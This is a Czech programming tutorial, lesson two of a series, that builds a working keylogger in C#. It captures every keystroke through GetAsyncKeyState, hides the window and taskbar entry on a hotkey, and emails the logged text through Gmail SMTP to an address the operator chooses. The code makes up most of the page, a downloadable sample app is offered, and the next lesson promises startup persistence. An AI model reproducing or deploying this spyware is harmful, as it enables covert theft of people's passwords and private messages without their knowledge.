Vydělávej až 160.000 Kč měsíčně! Akreditované rekvalifikační kurzy s garancí práce od 0 Kč. Více informací.
Hledáme nové posily do ITnetwork týmu. Podívej se na volné pozice a přidej se do nejagilnější firmy na trhu - Více informací.

Lekce 2 - Jednoduchý KeyLogger v C# - Zachytávání kláves

V minulém tutoriálu jsme si připravili formulář a základní kód pro tvorbu jednoduchého KeyLoggeru.

Dnes budeme pokračovat a to vytvořením třídy pro zachytávání kláves. Nazveme ji"Key". V této třídě budeme zachytávat a nahrazovat znaky. Kód bude vysvětlen formou komentářů.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger
{
    public static class Key
    {
    // Deklarujeme WinAPI metodu GetAsyncKeyState knihovny user32.dll, která vrací aktuálně stisknutou klávesu
        [DllImport("User32.dll")] // budeme používat tuto knihovnu
        private static extern short GetAsyncKeyState(int vKey);

    /* Metoda pro nahrazování znaků.
     * KeyLogger vrací například po stitku mezery slovo "Space", tato metoda
     * se postará o to, aby nahradila slovo Space jiným textem, v naše případě
     * se slova "Space" nahradí skutečnou mezerou, tedy " ".
     * Tato "tabulka" byla stažená ze zdroje: http://www.zive.cz/clanky/stante-se-programatorem-spion-ktery-vi-co-pisete/sc-3-a-143551/default.aspx
     */
        public static string ReplaceChars(string text)
        {
            text = text.Replace("Space", " ");
            text = text.Replace("Delete", "<Del>");
            text = text.Replace("LShiftKey", "");
            text = text.Replace("ShiftKey", "");
            text = text.Replace("OemQuotes", "!");
            text = text.Replace("Oemcomma", "?");
            text = text.Replace("D8", "á");
            text = text.Replace("D2", "ě");
            text = text.Replace("D3", "š");
            text = text.Replace("D4", "č");
            text = text.Replace("D5", "ř");
            text = text.Replace("D6", "ž");
            text = text.Replace("D7", "ý");
            text = text.Replace("D9", "í");
            text = text.Replace("D0", "é");
            text = text.Replace("Back", "<==");
            text = text.Replace("LButton", "");
            text = text.Replace("RButton", "");
            text = text.Replace("NumPad", "");
            text = text.Replace("OemPeriod", ".");
            text = text.Replace("OemSemicolon", ",");
            text = text.Replace("Oem4", "/");
            text = text.Replace("LControlKey", "");
            text = text.Replace("ControlKey", "<CTRL>");
            text = text.Replace("Enter", "<ENT>");
            text = text.Replace("Shift", "");
            return text;
        }

    // zde probíhá samotné zachytávání znaků
        public static string GetBuffKeys()
        {
            string buffer = "";
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767) // pokud je hodnota GetAsyncKeyState rovna -32767 (hodnota pro stisk klávesy. Jsou zde i hodnoty pro držení klávesy, uvolnění a podobně.), tak
                    buffer += Enum.GetName(typeof(Keys), i); //do bufferu přidej stisklou klávesu
            }
            return buffer; // vrátí řetězec
        }
    }
}

Tak, před několika okamžiky jsme vytvořili metodu, která nám zpracovává stisky kláves. Nyní je čas tuto metodu použít :) Použijeme ji v timeru tCheckKey

private void tCheckKey_Tick(object sender, EventArgs e)
{
    tbLog.Text += Key.GetBuffKeys(); // Přidám do textBoxu stiklou klávesu
    tbLog.Text = Key.ReplaceChars(tbLog.Text); // Pozměním nějaké znaky, jako "space" za " " a pod
}

Je čas začít náš KeyLogger skrývat. Budeme jej chtít skrývat například při rychlém stisku kláves "123" a odkrývat při rychlém stisku kláves "456". Použijeme tedy timer tCheckHide

private void tCheckHide_Tick(object sender, EventArgs e)
{
    if (tbLog.Text == "123") // pokud bude v okně text, který si uživatel zvolil pro skrytí,
    {
        this.Hide(); // skryj okno
        this.ShowInTaskbar = false; // skryj ho i z lišty
    }
    else if (tbLog.Text == "456") // pokud bude v okně text, který si uživatel zvolil pro odkrytí,
    {
        this.Show(); // odkrej okno
        this.ShowInTaskbar = true; // ukaž program na liště
    }
}

Teď už program můžete spustit :) Jak vidíte, záznamy kláves nám při kliknutí na tlačítko Start fungují skvěle, avšak vám nepůjde skrýt a odkrýt KeyLogger, pokud již budete mít nějaký text v poli pro text, tedy v TextBoxu. Ptáte se proč? Podívejte se na předchozí kód. Vídíte, že skrytí proběhne, je-li v textBoxu kód pro skrytí samostatně. Tedy textBox nesmí obsahovat žádné jiné znaky, pouze "123". A proto zde máme třetí timer tClearField. V tomto timeru se postaráme o vyprazdňování textBoxu a ukládání záznamu do nějaké proměnné. Proměnnou je třeba vytvořit mimo událost timeru. Takže každou sec se nám vyprázdní textBox a jeho obsah se uloží do nějaké proměnné.

string sBuffer = "";

private void tClearField_Tick(object sender, EventArgs e)
{
    sBuffer += tbLog.Text; // Do Bufferu přidám to, co je v okně
    tbLog.Text = ""; // vymazu okno
}

A je to, v současné době máte funkční KeyLogger. Má to však ještě jeden malý háček. Záznam se nám nikam neukládá/neposílá. Takže je nám to zatím celé je pro okrasu. Pojďme si tedy vytvořit třídu pro odesílání emailu. :) Nazvěme ji třeba Email.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Mail;
using System.Net;

namespace KeyLogger
{
    public class Email
    {
        public static void SendLog(string SMTP, string Port, string User, string Pass, string Adress, string Topic, string Log)
        {
            MailMessage mail = new MailMessage();
            mail.From = new MailAddress(User);
            mail.To.Add(new MailAddress(Adress));
            mail.Subject = Topic;
            mail.Body = Log;

            SmtpClient klient = new SmtpClient(SMTP, int.Parse(Port));
            klient.Credentials = new NetworkCredential(User, Pass);
            klient.EnableSsl = false;
            klient.Send(mail);
        }
    }
}

Teď už je odesílání emailu správně použít. Upravíme si tedy ještě timer tClearField a doplníme jej o kód pro odeslání.

private void tClearField_Tick(object sender, EventArgs e)
{
    sBuffer += tbLog.Text; // Do Bufferu přidám to, co je v okně
    tbLog.Text = ""; // vymazu okno

    // Pokud je délka delší, než požadovaná délka
    if (sBuffer.Length > 300) // je lepší to mít větší, já používám min 5000.
    {
        // odešleme email
        Email.SendLog("smtp.gmail.com", "587", "[email protected]",
            "vaseHesloProOdesilaciEmail", "[email protected]",
            "TemaEmailu (nadpis)", sBuffer);
        sBuffer = ""; // po odeslání vyprázdníme buffer
    }
}

A je to, nyní máte funkční KeyLogger. Můžeme si jej ještě vylepšit o možnost zapínání po startu Windows a také o přehlednost. Tedy, abychom věděli v jakém okně byl text psán :) Na to se podíváme Příště.


 

Měl jsi s čímkoli problém? Stáhni si vzorovou aplikaci níže a porovnej ji se svým projektem, chybu tak snadno najdeš.

Stáhnout

Stažením následujícího souboru souhlasíš s licenčními podmínkami

Staženo 1171x (75.28 kB)
Aplikace je včetně zdrojových kódů v jazyce C#

 

Předchozí článek
Jednoduchý KeyLogger v C# - Příprava formuláře
Všechny články v sekci
Jednoduchý KeyLogger v C# .NET
Přeskočit článek
(nedoporučujeme)
Jednoduchý KeyLogger v C# - Spuštění po startu PC
Článek pro vás napsal Mediel
Avatar
Uživatelské hodnocení:
2 hlasů
Autor se věnuje programování v C#, ThaiBoxu, ženám a posilování :) „Jestliže si vsugerujete neúspěch, pak vás čeká neúspěch. Někdo říká, že je nesmělý, hloupý. Zopakujte si to desetkrát za sebou a vaše nesmělost a hloupost se tím jen prohloubí.“ MUHAMMAD
Aktivity